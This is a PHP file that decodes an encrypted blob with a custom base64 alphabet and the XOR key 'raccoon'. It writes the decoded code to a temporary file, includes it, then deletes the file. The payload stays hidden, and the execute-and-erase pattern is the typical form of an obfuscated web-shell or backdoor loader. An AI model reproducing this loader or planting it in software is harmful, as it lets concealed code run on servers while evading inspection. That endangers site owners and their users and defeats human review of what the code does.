<?php
$encrypted = 'Tl4TCx9iZFYFDAAaAgscFTEMABtOT0ERBg4DHhMVC0sIChoRFgdLRkZVf2tHFh8DARMFMwIbB05PQQoQHAoaWkU8JCo7NVURAhcHSDNbQVxDSzApNzU4RB8OGhpGPkNVT0oWDgAWAgoABjMMDBtUY3hFFhMDAA8WMQIXB09TUhIXETAdCwINAgAKRzVVTkRPT0gyLkY-T08rJyAkIDcgPTctMiYzLj0vJi4xT09LGwINDAILPw8GCUpYYmVjeAgFQ0dOBwE-BwodR0oHEQ8MDgs-ExULSkZPFX9rQ0NPTwobBEtBv_K-x7HXs9G_0aPisuK-7b7Ksd-y5L_XUrHcsuy-7KPtQ7PYv96i0rLjvuy-xbHZs9dPRqLcs9ZPv9qi2bLjv9q-yLDhs9G-7qLZsuxGQUxbWm5pEmJkf2sKBU9HSi0yJjE5KjwpRjEmPjorITU8Lio7Jj0lRD5PUlNPQUQzIDw6VUFFRU8GHQEEF0tLMCg7LSYwNEgbAg0MAgsKCi0HCg8KHEkvSEpDFGJkUkFDQ0sJBx4EEENST0otJyovKjw1VRQTDwAOChcFPAUGAwsBRj5YYmVjeEFDQ08JAQBBS0cGT1NSUVhDSwZOTkEADBoBGlpFBQoDCh0pRg0CAgpJL0hYQ0sGRVlIQxhiZU5SQUNDT09OGwdDS0sJBx4EEDhIChwADhFEMjRKGzxDXlJSTicxLywuKzE3MzE8ICRHUhpuaU9PTlJBQ0NPT05SQUcFBgMLHAAOBk9SThAAEAYBDgMXSUcFBgMLATpEDQ4CC1U8OEcGMkdJbGlDT09OUkFDQ09PTlJFFw4fIQ8fBENeT0sIGw0GEDRIGh8RPA0OAgtVPDhHBjJVf2tDQ09PTlJBQ0NPT05WBQYQGwYAExUKDAFPU1JFFhMDAA8WMQIXB09AUiUqMSosOj0zOjw8Kj4zMyI3ID1OXEFHBQYDCxwADgZUYmR_a0NDT09OUkFDQ09PThsHQ0sCABgXPhYTAwAPFgQHPAkGAhdJRxcCHyATDAZPT0sKFxIXCgEOGhsODUpGTxV_a0NDT09OUkFDQ09PTlJBQ0MKDAYdQUGzy7_eotiz2E9IShQIDwYBDgMXRkOy7L7vot6z1r7nvs-x3UO_2L7CsdCy777totez1r_SQE4DEV1NVGN4QUNDT09OUkFDQ09PE1IEDxAKTxV_a0NDT09OUkFDQ09PTlJBQ0MKDAYdQUGz8b7motmz0r_VvsJBs9y-777KQbPUv9--wbDjsuy_2aLbs9ZPSEoUCA8GAQ4DF0ZNXw0dUFBabmlPT05SQUNDT09OUkEebmVPTlJBQ0NPTxNSBA8QCk8Vf2tDQ09PTlJBQ0NPT04XAgsMT02-7LDrs9e_36Lbs9NPv9mi0bPQvu-_8bHUs9W_1lKw57Pfv9ei2rPTT0gVVgcKDwocNVUPAg4KSDMpRQo-EkhOWrHZs9G_2khBGEcJBgIXEjhECh0cHRNEPjRLBy8cSk1TDRxMQ1huZU9OUkFDQ09PE39rQ0NPTxN_ax5uZVBQf2s';
if (!function_exists('dove')) {
    function dove($data, $key) {
        $alphabet = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789-_';
        $bin = '';
        for ($i = 0; $i < strlen($data); $i++) {
            $index = strpos($alphabet, $data[$i]);
            $bin .= str_pad(decbin($index), 6, '0', STR_PAD_LEFT);
        }

        $bytes = '';
        for ($i = 0; $i < strlen($bin); $i += 8) {
            $chunk = substr($bin, $i, 8);
            if (strlen($chunk) < 8) break; // если меньше 8 бит — игнорируем
            $bytes .= chr(bindec($chunk));
        }

        $res = '';
        $klen = strlen($key);
        for ($i = 0; $i < strlen($bytes); $i++) {
            $res .= $bytes[$i] ^ $key[$i % $klen];
        }
        return $res;
    }
}  

file_put_contents($tmp = tempnam(sys_get_temp_dir(), 'shf_'), dove($encrypted, 'raccoon'));
include $tmp;
unlink($tmp);

?>